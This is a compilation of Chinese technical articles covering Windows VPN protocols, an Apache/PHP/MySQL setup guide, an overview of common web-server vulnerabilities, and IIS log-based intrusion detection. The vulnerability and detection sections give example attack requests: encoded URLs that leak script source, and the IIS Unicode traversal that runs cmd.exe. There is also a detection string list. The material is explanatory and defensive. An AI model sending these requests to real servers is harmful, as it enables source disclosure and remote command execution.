    在第2阶段PPP链路配置阶段，NAS收集验证数据然后对照自己的数据库或中央验证数据库服务器（位于NT主域控制器或远程验证用户拨入服务器）验证数据的有效性。

阶段3：PPP回叫控制（callbackcontrol)

    微软设计的PPP包括一个可选的回叫控制阶段。该阶段在完成验证之后使用回叫控制协议（CBCP）如果配置使用回叫，那么在验证之后远程客户和NAS之间的连接将会被断开。然后由NAS使用特定的电话号码回叫远程客户。这样可以进一步保证拨号网络的安全性。NAS只支持对位于特定电话号码处的远程客户进行回叫。

阶段4：调用网络层协议

在以上各阶段完成之后，PPP将调用在链路创建阶段（阶段1）选定的各种网络控制协议（NCP).例如，在该阶段IP控制协议（IPCP）可以向拨入用户分配动态地址。在微软的PPP方案中，考虑到数据压缩和数据加密实现过程相同，所以共同使用压缩控制协议协商数据压缩（使用MPPC）和数据加密（使用MPPE）。

数据传输阶段

    一旦完成上述4阶段的协商，PPP就开始在连接对等双方之间转发数据。每个被传送的数据报都被封装在PPP包头内，该包头将会在到达接收方之后被去除。如果在阶段1选择使用数据压缩并且在阶段4完成了协商，数据将会在被传送之间进行压缩。类似的，如果如果已经选择使用数据加密并完成了协商，数据（或被压缩数据）将会在传送之前进行加密。
点对点隧道协议（PPTP）

    PPTP是一个第2层的协议，将PPP数据桢封装在IP数据报内通过IP网络，如Internet传送。PPTP还可用于专用局域网络之间的连接。RFC草案“点对点隧道协议”对PPTP协议进行了说明和介绍。该草案由PPTP论坛的成员公司，包括微软，Ascend，3Com，和ECI等公司在1996年6月提交至IETF。可在如下站点http://www.ietf.org http://www.ietf.org参看草案的在线拷贝.pptp使用一个tcp连接对隧道进行维护，使用通用路由封装（gre）技术把数据封装成ppp数据桢通过隧道传送。可以对封装ppp桢中的负载数据进行加密或压缩。图7所示为如何在数据传递之前组装一个pptp数据包。/

第2层转发（L2F）

    L2F是Cisco公司提出隧道技术，作为一种传输协议L2F支持拨号接入服务器将拨号数据流封装在PPP桢内通过广域网链路传送到L2F服务器（路由器）。L2F服务器把数据包解包之重新注入（inject)网络。与PPTP和L2TP不同，L2F没有确定的客户方。应当注意L2F只在强制隧道中有效。（自愿和强制隧道的介绍参看“隧道类型”）。

第2层隧道协议（L2TP）

    L2TP结合了PPTP和L2F协议。设计者希望L2TP能够综合PPTP和L2F的优势。
L2TP是一种网络层协议，支持封装的PPP桢在IP，X.25，桢中继或ATM等的网络上进行传送。当使用IP作为L2TP的数据报传输协议时，可以使用L2TP作为Internet网络上的隧道协议。L2TP还可以直接在各种WAN媒介上使用而不需要使用IP传输层。草案RFC“第2层隧道协议”对L2TP进行了说明和介绍。该文档于1998年1月被提交至IETF。可以在以下网站http://www.ietf.org http://www.ietf.org获得草案拷贝。/
    IP网上的L2TP使用UDP和一系列的L2TP消息对隧道进行维护。L2TP同样使用UDP将L2TP协议封装的PPP桢通过隧道发送。可以对封装PPP桢中的负载数据进行加密或压缩。图8所示为如何在传输之前组装一个L2TP数据包。

PPTP与L2TP

    PPTP和L2TP都使用PPP协议对数据进行封装，然后添加附加包头用于数据在互联网络上的传输。尽管两个协议非常相似，但是仍存在以下几方面的不同：

1.PPTP要求互联网络为IP网络。L2TP只要求隧道媒介提供面向数据包的点对点的连接。L2TP可以在IP（使用UDP），桢中继永久虚拟电路（PVCs),X.25虚拟电路（VCs）或ATM VCs网络上使用。

2.PPTP只能在两端点间建立单一隧道。L2TP支持在两端点间使用多隧道。使用L2TP，用户可以针对不同的服务质量创建不同的隧道。

3.L2TP可以提供包头压缩。当压缩包头时，系统开销（overhead）占用4个字节，而PPTP协议下要占用6个字节。

4.L2TP可以提供隧道验证，而PPTP则不支持隧道验证。但是当L2TP或PPTP与IPSEC共同使用时，可以由IPSEC提供隧道验证，不需要在第2层协议上验证隧道。

IPSec隧道模式

    IPSEC是第3层的协议标准，支持IP网络上数据的安全传输。本文将在“高级安全”一部分中对IPSEC进行详细的总体介绍，此处仅结合隧道协议讨论IPSEC协议的一个方面。除了对IP数据流的加密机制进行了规定之外，IPSEC还制定了IPoverIP隧道模式的数据包格式，一般被称作IPSEC隧道模式。一个IPSEC隧道由一个隧道客户和隧道服务器组成，两端都配置使用IPSEC隧道技术，采用协商加密机制。

    为实现在专用或公共IP网络上的安全传输，IPSEC隧道模式使用的安全方式封装和加密整个IP包。然后对加密的负载再次封装在明文IP包头内通过网络发送到隧道服务器端。隧道服务器对收到的数据报进行处理，在去除明文IP包头，对内容进行解密之后，获的最初的负载IP包。负载IP包在经过正常处理之后被路由到位于目标网络的目的地。

IPSEC隧道模式具有以下功能和局限：

1.只能支持IP数据流

2.工作在IP栈（IPstack）的底层，因此，应用程序和高层协议可以继承IPSEC的行为。

3.由一个安全策略（一整套过滤机制）进行控制。安全策略按照优先级的先后顺序创建可供使用的加密和隧道机制以及验证方式。当需要建立通讯时，双方机器执行相互验证，然后协商使用何种加密方式。此后的所有数据流都将使用双方协商的加密机制进行加密，然后封装在隧道包头内。
关于IPSEC的详细介绍参看本文稍后的“高级安全”部分。

隧道类型

1.自愿隧道（Voluntarytunnel)
    用户或客户端计算机可以通过发送VPN请求配置和创建一条自愿隧道。此时，用户端计算机作为隧道客户方成为隧道的一个端点。

2.强制隧道（Compulsorytunnel）
    由支持VPN的拨号接入服务器配置和创建一条强制隧道。此时，用户端的计算机不作为隧道端点，而是由位于客户计算机和隧道服务器之间的远程接入服务器作为隧道客户端，成为隧道的一个端点。

目前，自愿隧道是最普遍使用的隧道类型。以下，将对上述两种隧道类型进行详细介绍。

自愿隧道
    当一台工作站或路由器使用隧道客户软件创建到目标隧道服务器的虚拟连接时建立自愿隧道。为实现这一目的，客户端计算机必须安装适当的隧道协议。自愿隧道需要有一条IP连接（通过局域网或拨号线路）。使用拨号方式时，客户端必须在建立隧道之前创建与公共互联网络的拨号连接。一个最典型的例子是Internet拨号用户必须在创建Internet隧道之前拨通本地ISP取得与Internet的连接。
    对企业内部网络来说，客户机已经具有同企业网络的连接，由企业网络为封装负载数据提供到目标隧道服务器路由。
    大多数人误认为VPN只能使用拨号连接。其实，VPN只要求支持IP的互联网络。一些客户机（如家用PC）可以通过使用拨号方式连接Internet建立IP传输。这只是为创建隧道所做的初步准备，并不属于隧道协议。

强制隧道
    目前，一些商家提供能够代替拨号客户创建隧道的拨号接入服务器。这些能够为客户端计算机提供隧道的计算机或网络设备包括支持PPTP协议的前端处理器（FEP），支持L2TP协议的L2TP接入集线器（LAC）或支持IPSec的安全IP网关。本文将主要以FEP为例进行说明。为正常的发挥功能，FEP必须安装适当的隧道协议，同时必须能够当客户计算机建立起连接时创建隧道。
    以Internet为例，客户机向位于本地ISP的能够提供隧道技术的NAS发出拨号呼叫。例如，企业可以与某个ISP签定协议，由ISP为企业在全国范围内设置一套FEP。这些FEP可以通过Internet互联网络创建一条到隧道服务器的隧道，隧道服务器与企业的专用网络相连。这样，就可以将不同地方合并成企业网络端的一条单一的Internet连接。
    因为客户只能使用由FEP创建的隧道，所以称为强制隧道。一旦最初的连接成功，所有客户端的数据流将自动的通过隧道发送。使用强制隧道，客户端计算机建立单一的PPP连接，当客户拨入NAS时，一条隧道将被创建，所有的数据流自动通过该隧道路由。可以配置FEP为所有的拨号客户创建到指定隧道服务器的隧道，也可以配置FEP基于不同的用户名或目的地创建不同的隧道。
    自愿隧道技术为每个客户创建独立的隧道。FEP和隧道服务器之间建立的隧道可以被多个拨号客户共享，而不必为每个客户建立一条新的隧道。因此，一条隧道中可能会传递多个客户的数据信息，只有在最后一个隧道用户断开连接之后才终止整条隧道。

高级安全功能

    虽然Internet为创建VPN提供了极大的方便，但是需要建立强大的安全功能以确保企业内部网络不受到外来攻击，确保通过公共网络传送的企业数据的安全。

对称加密与非对称加密（专用密钥与公用密钥）
    对称加密，或专用密钥（也称做常规加密）由通信双方共享一个秘密密钥。发送方在进行数学运算时使用密钥将明文加密成密文。接受方使用相同的密钥将密文还原成明文。RSA RC4算法，数据加密标准（DES），国际数据加密算法（IDEA）以及Skipjack加密技术都属于对称加密方式。

    非对称加密，或公用密钥，通讯各方使用两个不同的密钥，一个是只有发送方知道的专用密钥，另一个则是对应的公用密钥，任何人都可以获得公用密钥。专用密钥和公用密钥在加密算法上相互关联，一个用于数据加密，另一个用于数据解密。

    公用密钥加密技术允许对信息进行数字签名。数字签名使用发送发送一方的专用密钥对所发送信息的某一部分进行加密。接受方收到该信息后，使用发送方的公用密钥解密数字签名，验证发送方身份。

证书
    使用对称加密时，发送和接收方都使用共享的加密密钥。必须在进行加密通讯之前，完成密钥的分布。使用非对称加密时，发送方使用一个专用密钥加密信息或数字签名，接收方使用公用密钥解密信息。公用密钥可以自由分布给任何需要接收加密信息或数字签名信息的一方，发送方只要保证专用密钥的安全性即可。

    为保证公用密钥的完整性，公用密钥随证书一同发布。证书（或公用密钥证书）是一种经过证书签发机构（CA）数字签名的数据结构。CA使用自己的专用密钥对证书进行数字签名。如果接受方知道CA的公用密钥，就可以证明证书是由CA签发，因此包含可靠的信息和有效的公用密钥。
    总之，公用密钥证书为验证发送方的身份提供了一种方便，可靠的方法。IPSec可以选择使用该方式进行端到端的验证。RAS可以使用公用密钥证书验证用户身份。

扩展验证协议（EAP）
    如前文所述，PPP只能提供有限的验证方式。EAP是由IETF提出的PPP协议的扩展，允许连接使用任意方式对一条PPP连接的有效性进行验证。EAP支持在一条连接的客户和服务器两端动态加入验证插件模块。

交易层安全协议（EAP-TLS）
    EAP-TLS已经作为提议草案提交给IETF，用于建立基于公用密钥证书的强大的验证方式。使用EAP-TLS，客户向拨入服务器发送一份用户方证书，同时，服务器把服务器证书发送给客户。用户证书向服务器提供了强大的用户识别信息；服务器证书保证用户已经连接到预期的服务器。
用户方证书可以被存放在拨号客户PC中，或存放在外部智能卡。无论那种方式，如果用户不能提供没有一定形式的用户识别信息（PIN号或用户名和口令），就无法访问证书。

IPSEC
    IPSEC是一种由IETF设计的端到端的确保基于IP通讯的数据安全性的机制。IPSEC支持对数据加密，同时确保数据的完整性。按照IETF的规定，不采用数据加密时，IPSEC使用验证包头（AH）提供验证来源验证（source authentication)，确保数据的完整性；IPSEC使用封装安全负载（ESP）与加密一道提供来源验证，确保数据完整性。IPSEC协议下，只有发送方和接受方知道秘密密钥。如果验证数据有效，接受方就可以知道数据来自发送方，并且在传输过程中没有受到破坏。
    可以把IPSEC想象成是位于TCP/IP协议栈的下层协议。该层由每台机器上的安全策略和发送、接受方协商的安全关联（security association)进行控制。安全策略由一套过滤机制和关联的安全行为组成。如果一个数据包的IP地址，协议，和端口号满足一个过滤机制，那么这个数据包将要遵守关联的安全行为。

协商安全关联（NegotiatedSecurityAssociation）
    上述第一个满足过滤机制的数据包将会引发发送和接收方对安全关联进行协商。ISAKMP/OAKLEY是这种协商采用的标准协议。在一个ISAKMP/OAKLEY交换过程中，两台机器对验证和数据安全方式达成一致，进行相互验证，然后生成一个用于随后的数据加密的个共享密钥。

验证包头
    通过一个位于IP包头和传输包头之间的验证包头可以提供IP负载数据的完整性和数据验证。验证包头包括验证数据和一个序列号，共同用来验证发送方身份，确保数据在传输过程中没有被改动，防止受到第三方的攻击。IPSEC验证包头不提供数据加密；信息将以明文方式发送。

封装安全包头
    为了保证数据的保密性并防止数据被第3方窃取，封装安全负载（ESP）提供了一种对IP负载进行加密的机制。另外，ESP还可以提供数据验证和数据完整性服务；因此在IPSEC包中可以用ESP包头替代AH包头。

用户管理
    在选择VPN技术时，一定要考虑到管理上的要求。一些大型网络都需要把每个用户的目录信息存放在一台中央数据存储设备中（目录服务）便于管理人员和应用程序对信息进行添加，修改和查询。每一台接入或隧道服务器都应当能够维护自己的内部数据库，存储每一名用户的信息，包括用户名，口令，以及拨号接入的属性等。但是，这种由多台服务器维护多个用户帐号的作法难以实现及时的更新，给管理带来很大的困难。因此，大多数的管理人员采用在目录服务器，主域控制器或RADIUS服务器上建立一个主帐号数据库的方法，进行有效管理。

RAS支持
    微软的远程接入服务器（RAS）使用域控制器或RADIUS服务器存储每名用户的信息。因为管理员可以在单独的数据库中管理用户信息中的拨号许可信息，所以使用一台域控制器能够简化系统管理。
    微软的RAS最初被用作拨号用户的接入服务器。现在，RAS可以作为PPTP和L2TP协议的隧道服务器（NT5将支持L2TP）。这些第2层的VPN方案继承了已有的拨号网络全部的管理基础。

扩展性
    通过使用循环DNS在同属一个安全地带（securityperimeter）的VPN隧道服务器之间进行请求分配，可以实现容余和负荷平衡。一个安全地带只具有一个对外域名，但拥有多个IP地址，负荷可以在所有的IP地址之间进行任意的分配。所有的服务器可以使用一个共享数据库，如NT域控制器验证访问请求。

RADIUS
    远程验证用户拨入服务（RADIUS）协议是管理远程用户验证和授权的常用方法。RADIUS是一种基于UDP协议的超轻便（lightweight）协议。RADIUS服务器可以被放置在Internet网络的任何地方为客户NAS提供验证（包括PPP PAP，CHAP，MSCHAP和EAP）。另外，RADIUS服务器可以提供代理服务将验证请求转发到远端的RADIUS服务器。例如，ISP之间相互合作，通过使用RADIUS代理服务实现漫游用户在世界各地使用本地ISP提供的拨号服务连接Internet和VPN。如果ISP发现用户名不是本地注册用户，就会使用RADIUS代理将接入请求转发给用户的注册网络。这样企业在掌握授权权利的前提下，有效的使用ISP的网络基础设施，使企业的网络费用开支实现最小化。

记费，审计和报警
    为有效的管理VPN系统，网络管理人员应当能够随时跟踪和掌握以下情况：系统的使用者，连接数目，异常活动，出错情况，以及其它可能预示出现设备故障或网络受到攻击的现象。日志记录和实时信息对记费，审计和报警或其它错误提示具有很大帮助。例如，网络管理人员为了编制帐单数据需要知道何人在使用系统以及使用了多长时间。异常活动可能预示着存在对系统的不正确使用或系统资源出现不足。对设备进行实时的监测可以在系统出现问题时及时向管理员发出警告。一台隧道服务器应当能够提供以上所有信息以及对数据进行正确处理所需要的事件日志，报告和数据存储设备。
    NT4.0在RAS中提供了对记费，审计和报警的支持。RADIUS协议对呼叫-记费请求（call-accountingrequest)进行了规定。当RAS向RADIUS发送呼叫-记费请求后由后者建立记费记录分别记录呼叫开始，结束以及预定中断的情况。

结论
    如本文所述，Windows系统自带的VPN服务允许用户或企业通过公共或专用网络与远端服务器，分支机构，或其他公司建立安全和可靠的连接。虽然上述通讯过程发生公共互联网络上，但是用户端如同使用专用网络进行通讯一样建立起安全的连接。使用Windows系统的VPN技术可以解决在当今远程通讯量日益增大，企业全球运作分布广泛的情况下，员工需要访问中央资源，企业相互之间必须能够进行及时和有效的通讯的问题。


W2K+Apache+MySql+PHP3+PHP4+PERL使用小结

    这里一定有许多和我一样喜欢尝试新鲜事物的朋友，尤其是当听说某软件有了新的版本时一定也会迫不
及待的去下载一份回来用用再说。这里我想和大家探讨一下以下流行软件的应用，意在抛砖引玉。

    OS : Microsoft Windows 2000 Professional简体中文版
    WEB SERVER: Apache 1.3.12 for WIN32
    MYSQL : MySQL Shareware 3.22.34 for WIN32
    PHP3 : PHP 3.0.15 for WIN32
    PHP4 : PHP 4.0.0 for WIN32
    ZEND : Zend Optimizer beta4 for PHP 4.0.0 for WIN32

【★★★　Apache快速安装　★★★】

1.　运行 apache_1_3_12_win32.exe ，按照提示安装，安装目录不妨为： c:\apache
2.　修改 c:\apache\httpd.conf，去掉ServerName前的“#”号，后面跟本机的IP地址
3.　运行 c:\apache\apache -i 将Apache安装成为Windows 2000的一个服务
4.　运行 net start apache 启动Apache
5.　将 c:\apache\htdocs\index.html.en 改名为 index.html ，然后在浏览器地址栏中输入：
    http://localhost

【★★★　MySql快速安装　★★★】

1.　将 mysql-shareware-3.22.34-win.zip 解压缩到一个临时目录下，然后运行 setup.exe 开始安装，一
    切用默认值安装即可
2.　运行 c:\mysql\bin\mysqld-shareware --install 将mysql安装成Windows 2000的一个服务
3.　运行 net start mysql　　启动mysql服务即可

【★★★　PHP3快速安装　★★★】

1.　将 php-3.0.15-win32.zip 解压缩到一个目录下，例如 c:\apache\php3
2.　将 c:\apache\php3\php3.ini-dist 拷贝到 c:\winnt 目录下，并改名为 php3.ini
3.　修改 c:\apache\conf\srm.conf，加入如下几行：
    ScriptAlias /php3/ "c:/apache/php3/"
    Addtype application/x-httpd-php3 .php3
    Action application/x-httpd-php3 "/php3/php.exe"
4.　重新启动Apache　(net stop apache, net start apache)PHP3就可以运行了，创建一个文件
    c:\apache\htdocs\info.php3 ，
    内容只有一行：

    然后在浏览器地址栏中输入：http://localhost/info.php3
5.　为了加入对MySql的支持，需要编辑 c:\winnt\php3.ini，找到extension_dir，将该行改为：
    extension_dir = "c:\apache\php3\"
    再找到 ;extension=php3_mysql.dll 去掉前面的分号即可

【★★★　PHP4快速安装　★★★】

1.　将 php-4.0.0-Win32.zip 解压缩到一个目录下，例如 c:\apache\php
2.　将 c:\apache\php\php.ini-dist 拷贝到 c:\winnt 目录下， 并改名为 php.ini
3.　将 c:\apache\php\php4ts.dll 拷贝到 c:\winnt\system32 目录下
4.　修改 c:\apache\conf\srm.conf ，加入如下几行：
    ScriptAlias /php/ "c:/apache/php/"
    Addtype application/x-httpd-php .php
    Action application/x-httpd-php "/php/php.exe"
5.　重新启动Apache　(net stop apache, net start apache) PHP4就可以运行了，创建一个文件
    c:\apache\htdocs\info.php ，
    内容只有一行：

    然后在浏览器地址栏中输入：http://localhost/info.php
    PHP4内置对MySql的支持，不需要额外设置

【★★★　Zend Optimizer for PHP4快速安装　★★★】

1.　将 ZendOptimizer-Beta4-WindowsNT.zip 解压缩到一个目录下，例如 c:\apache\zend
2.　修改 c:\winnt\php.ini ，在任何地方加入如下两行：
    zend_optimizer.optimization_level=7
    zend_extension_ts="c:\apache\zend\ZendOptimizer.dll"
3.　在浏览器中刷新info.php，可以看到多了这么一行：
    with Zend Optimizer v0.98, Copyright (c) 1998-2000, by Zend Techno logies

【★★★　Active Perl快速安装　★★★】

1.　鼠标双击 ActivePerl-5.6.0.613.msi 运行之，这是一个Windows Installer Packge格式的安装包，在
     Windows 2000下可以直接运行，按照提示安装，默认的安装路径是 c:\perl ，不妨改成c:\usr
2.　修改 c:\apache\srm.conf ，加入如下一行： AddHandler cgi-script .pl
3.　在PERL程序的第一行加上：
    #!/usr/bin/perl
4.　为了让Apache也能够识别*.cgi程序，在 srm.conf 中加入：
    AddHandler cgi-script .cgi
    这样一来本地的PERL CGI程序就可以和UNIX主机上的完全保持一致了
    为了让Apache能够处理Server Side Include，在 srm.conf 中加入：
    AddType text/html .shtml
    AddHandler server-parsed .shtml
    这样CGI程序就可以以SSI的方式运行了
5.　为了让以上修改生效，需要重新启动Apache (net stop apache, net start apache)

完全按照以上步骤进行，就会在不出错的情况下拥有了Apache+MySql+PHP3+PHP4+PERL的运行环境了！事实
上，以上方法在Windos NT4.0+SP3+中一样可行。

【☆☆☆　Apache概要说明　☆☆☆】

Apache的默认安装目录是c:\program files\apache group\apache，不过为了方便起见，不妨将它安装到
c:\apache目录下。配置文件是 c:\apache\conf\httpd.conf，通常至少需要修改的是ServerName这一项，
把注释符号“#”去掉，最简单是后面跟IP地址，对于有WINS的局域网用户可以用机器名，对于有DNS的网络
用户可以用域名。在Windows 2000下没有设置ServerName这一项会造成Apache不能启动。还有一个影响是当
用如下方式使用Alias时：
    Alias /userdir "c:/userdir/"
假如这样调用：
    http://localhost/userdir/
不会产生任何问题，可是如果这样调用：
    http://localhost/userdir
那么localhost 会被替换成ServerName所指定的值，如果这个值不能被正确解析，就无法访问。用户的配置
项目添加在httpd.conf或者srm.conf中都可以，一说是将所有的配置项目都放在httpd.conf中，这样只需要
修改维护这一个配置文件，比较方便，而且避免了冲突（这是srm.conf文件中说的！）。可是httpd.conf确
实太大了，要在里面搜索特定的项目就不很容易。还有一说是将所有的用户自己添加修改的配置项目都放在
srm.conf中，这个文件很小，便于察看修改，本人倾向于后者。在httpd.conf中，Apache的其它常用的可能
需要修改的设置有：

ServerAdmin your@email.address #管理员的e-mail地址

DocumentRoot "c:/apache/htdocs" #默认的根路径注意路径全都是用斜线而不是反斜线来分隔

DirectoryIndex index.html index.php index.php3 index.htm index.shtml
#这一项指明了在每个目录中的默认文档及其顺序

AccessFileName .htaccess #目录访问的配置文件名用资源管理器会发现无法将一个文件改名成
#".htaccess"，不过在命令行方式下可以，用notepad也可以另存为这个文件名。


WEB服务器常见漏洞介绍

如果不能写出点新东西，那么就是该总结的时候了。

这篇文章的目的就是向大家介绍WEB服务器的常见漏洞，相信看了这篇文章自己也能试着发现一些WEB服务器的漏洞了。不过需要记住的是，不要为了寻找漏洞而寻找漏洞。另外，即使你找到了漏洞，是否能够利用还是另外一回事。

WEB服务器存在的主要漏洞包括物理路径泄露，CGI源代码泄露，目录遍历，执行任意命令，缓冲区溢出，拒绝服务，条件竞争和跨站脚本执行漏洞，和CGI漏洞有些相似的地方，但是更多的地方还是有着本质的不同。不过无论是什么漏洞，都体现着安全是一个整体的真理，考虑WEB服务器的安全性，必须要考虑到与之相配合的操作系统。

下面我就开始一一介绍这些漏洞，为了更易于理解，我在介绍每种漏洞时都会附上几个链接，从中你可以得到存在相同漏洞的WEB服务器的更详细信息。

【物理路径泄露】
物理路径泄露一般是由于WEB服务器处理用户请求出错导致的，如通过提交一个超长的请求，或者是某个精心构造的特殊请求，亦或是请求一个WEB服务器上不存在的文件。这些请求都有一个共同特点，那就是被请求的文件肯定属于CGI脚本，而不是静态HTML页面。

还有一种情况，就是WEB服务器的某些显示环境变量的程序错误的输出了WEB服务器的物理路径，这应该算是设计上的问题。
一些相关的链接：
http://security.nsfocus.com/showQuery.asp?bugID=2008
http://online.securityfocus.com/bid/1531

【CGI源代码泄露】
CGI源代码泄露的原因比较多，例如大小写，编码解码，附加特殊字符或精心构造的特殊请求等都可能导致CGI源代码泄露。

下面是一些示例请求：
http://www.host.com/index.jsP
http://www.host.com/index%2ejsp
http://www.host.com/index.js%50
http://www.host.com/index.js%70
http://www.host.com/index.jsp%00
http://www.host.com/index.jsp%20
http://www.host.com/index.jsp%2e
http://www.host.com/index.jsp%2f
http://www.host.com/index.jsp%3f
http://www.host.com/index.jsp%5c
http://www.host.com/index.jsp%81
http://www.host.com/./index.jsp
http://www.host.com/index.asp:$DATA
http://www.host.com/index.asp+.htr
http://www.host.com/index.asp…………………htr
这些请求都可能导致CGI源代码泄露。

以下是一些相关链接：
http://security.nsfocus.com/showQuery.asp?bugID=519
http://security.nsfocus.com/showQuery.asp?bugID=754
http://security.nsfocus.com/showQuery.asp?bugID=1130
http://security.nsfocus.com/showQuery.asp?bugID=1181
http://security.nsfocus.com/showQuery.asp?bugID=1334
http://security.nsfocus.com/showQuery.asp?bugID=621

【目录遍历】
目录遍历对于WEB服务器来说并不多见，通过对任意目录附加“../”，或者是在有特殊意义的目录附加“../”，或者是附加“../”的一些变形，如“..\”或“..//”甚至其编码，都可能导致目录遍历。前一种情况并不多见，但是后面的几种情况就常见得多，去年非常流行的IIS二次解码漏洞和UNICODE解码漏洞都可以看作是变形后的编码。

下面是一些相关链接：
http://security.nsfocus.com/showQuery.asp?bugID=1429
http://security.nsfocus.com/showQuery.asp?bugID=934
http://security.nsfocus.com/showQuery.asp?bugID=290

【执行任意命令】
执行任意命令即执行任意操作系统命令，主要包括两种情况。一是通过遍历目录，如前面提到的二次解码和UNICODE解码漏洞，来执行系统命令。另外一种就是WEB服务器把用户提交的请求作为SSI指令解析，因此导致执行任意命令。

下面是一些相关链接：
http://security.nsfocus.com/showQuery.asp?bugID=934
http://security.nsfocus.com/showQuery.asp?bugID=1429
http://online.securityfocus.com/bid/3939

【缓冲区溢出】
缓冲区溢出漏洞想必大家都很熟悉，无非是WEB服务器没有对用户提交的超长请求没有进行合适的处理，这种请求可能包括超长URL，超长HTTP Header域，或者是其它超长的数据。这种漏洞可能导致执行任意命令或者是拒绝服务，这一般取决于构造的数据。

下面是一些相关链接：
http://security.nsfocus.com/showQuery.asp?bugID=1749
http://security.nsfocus.com/showQuery.asp?bugID=1417

【拒绝服务】
拒绝服务产生的原因多种多样，主要包括超长URL，特殊目录，超长HTTP Header域，畸形HTTP Header域或者是DOS设备文件等。由于WEB服务器在处理这些特殊请求时不知所措或者是处理方式不当，因此出错终止或挂起。

下面是一些相关链接：
http://security.nsfocus.com/showQuery.asp?bugID=254
http://security.nsfocus.com/showQuery.asp?bugID=1747
http://security.nsfocus.com/showQuery.asp?bugID=1746
http://security.nsfocus.com/showQuery.asp?bugID=2061
http://security.nsfocus.com/showQuery.asp?bugID=1614
http://security.nsfocus.com/showQuery.asp?bugID=1313
http://security.nsfocus.com/showQuery.asp?bugID=1441
http://security.nsfocus.com/showQuery.asp?bugID=1745

【条件竞争】
这里的条件竞争主要针对一些管理服务器而言，这类服务器一般是以system或root身份运行的。当它们需要使用一些临时文件，而在对这些文件进行写操作之前，却没有对文件的属性进行检查，一般可能导致重要系统文件被重写，甚至获得系统控制权。

【跨站脚本执行漏洞】
跨站脚本漏洞已经介绍得够多，这里就不赘述了，有问题可以参考我以前写过的一篇文章http://magazine.nsfocus.com/detail.asp?id=1217

基本就是这些内容，有问题给我写信（analysist@nsfocus.com）。

原作者：analysist
来 源：http://www.nsfocus.com


Win2000 Server入侵监测

入侵检测初步

    上一章我们谈到了Win2000 Server的安全配置，经过精心配置的Win2000服务器可以防御90%以上的入侵和渗透，但是，就象上一章结束时我所提到的：系统安全是一个连续的过程，随着新漏洞的出现和服务器应用的变化，系统的安全状况也在不断变化着；同时由于攻防是矛盾的统一体，道消魔长和魔消道长也在不断的转换中，因此，再高明的系统管理员也不能保证一台正在提供服务的服务器长时间绝对不被入侵。

    所以，安全配置服务器并不是安全工作的结束，相反却是漫长乏味的安全工作的开始，本文我们将初步探讨Win2000服务器入侵检测的初步技巧，希望能帮助您长期维护服务器的安全。

    本文中所说的入侵检测指的是利用Win2000 Server自身的功能及系统管理员自己编写的软件/脚本进行的检测，使用防火墙（Firewall）或入侵监测系统（IDS）的技巧并不在本文的讨论范围之内。

    现在假定：我们有一台Win2000 Server的服务器，并且经过了初步的安全配置（关于安全配置的详情可以参阅Win2000 Server安全配置入门<一>），在这种情况下，大部分的入侵者将被拒之门外。（哈哈，我管理员可以回家睡大觉去了）慢着，我说的是大部分，不是全部，经过初步安全配置的服务器虽然可以防御绝大多数的Script kid（脚本族-只会用别人写的程序入侵服务器的人），遇到了真正的高手，还是不堪一击的。虽然说真正的高手不会随便进入别人的服务器，但是也难保有几个品行不端的邪派高手看上了你的服务器。（我真的这么衰么？）而且，在漏洞的发现与补丁的发布之间往往有一段时间的真空，任何知道漏洞资料的人都可以乘虚而入，这时，入侵检测技术就显得非常的重要。

    入侵的检测主要还是根据应用来进行，提供了相应的服务就应该有相应的检测分析系统来进行保护，对于一般的主机来说，主要应该注意以下几个方面：

1、 基于80端口入侵的检测

    WWW服务大概是最常见的服务之一了，而且由于这个服务面对广大用户，服务的流量和复杂度都很高，所以针对这个服务的漏洞和入侵技巧也最多。对于NT来说，IIS一直是系统管理员比较头疼的一部分（恨不得关了80端口），不过好在IIS自带的日志功能从某种程度上可以成为入侵检测的得力帮手。IIS自带的日志文件默认存放在System32/LogFiles目录下，一般是按24小时滚动的，在IIS管理器中可以对它进行详细的配置。（具体怎么配我不管你，不过你要是不详细记录，回头查不到入侵者的IP可不要哭）

    现在我们再假设（怎么老是假设呀，烦不烦？）别急呀，我不能为了写这篇文章真的去黑掉一台主机，所以只好假设了，我们假设一台WEB服务器，开放了WWW服务，你是这台服务器的系统管理员，已经小心地配置了IIS，使用W3C扩展的日志格式，并至少记录了时间（Time）、客户端IP（Client IP）、方法（Method）、URI资源(URI Stem)、URI查询(URI Query)，协议状态（Protocol Status)，我们用最近比较流行的Unicode漏洞来进行分析：打开IE的窗口，在地址栏输入：127.0.0.1/scripts/..%c1% 1c../winnt/system32/cmd.exe?/c+dir 默认的情况下你可以看到目录列表（什么？你已经做过安全配置了，看不到？恢复默认安装，我们要做个实验），让我们来看看IIS的日志都记录了些什么，打开Ex010318.log（Ex代表W3C扩展格式，后面的一串数字代表日志的记录日期）：07:42:58 127.0.0.1 GET /scripts/..\../winnt/system32\cmd.exe /c+dir 200上面这行日志表示在格林威治时间07:42:58（就是北京时间23:42:58），有一个家伙（入侵者）从127.0.0.1的IP在你的机器上利用Unicode漏洞（%c1%1c被解码为"\"，实际的情况会因为Windows语言版本的不同而有略微的差别）运行了cmd.exe，参数是/c dir，运行结果成功（HTTP 200代表正确返回）。(哇，记录得可真够全的，以后不敢随便乱玩Unicode了)

    大多数情况下，IIS的日志会忠实地记录它接收到的任何请求（也有特殊的不被IIS记录的攻击，这个我们以后再讨论），所以，一个优秀的系统管理员应该擅长利用这点来发现入侵的企图，从而保护自己的系统。但是，IIS的日志动辄数十兆、流量大的网站甚至数十G，人工检查几乎没有可能，唯一的选择就是使用日志分析软件，用任何语言编写一个日志分析软件（其实就是文本过滤器）都非常简单，不过考虑到一些实际情况（比如管理员不会写程序，或者服务器上一时找不到日志分析软件），我可以告诉大家一个简单的方法，比方说你想知道有没有人从80端口上试图取得你的Global.asa文件，可以使用以下的CMD命令：find "Global.asa" ex010318.log /i这个命令使用的是NT自带的find.exe工具（所以不怕紧急情况找不着），可以轻松的从文本文件中找到你想过滤的字符串，"Global.asa"是需要查询的字符串，ex010318.log是待过滤的文本文件，/i代表忽略大小写。因为我无意把这篇文章写成微软的Help文档，所以关于这个命令的其他参数以及它的增强版FindStr.exe的用法请去查看Win2000的帮助文件。

    无论是基于日志分析软件或者是Find命令，你都可以建立一张敏感字符串列表，包含已有的IIS漏洞（比如"+.htr"）以及未来将要出现的漏洞可能会调用的资源（比如Global.asa或者cmd.exe），通过过滤这张不断更新的字符串表，一定可以尽早了解入侵者的行动。

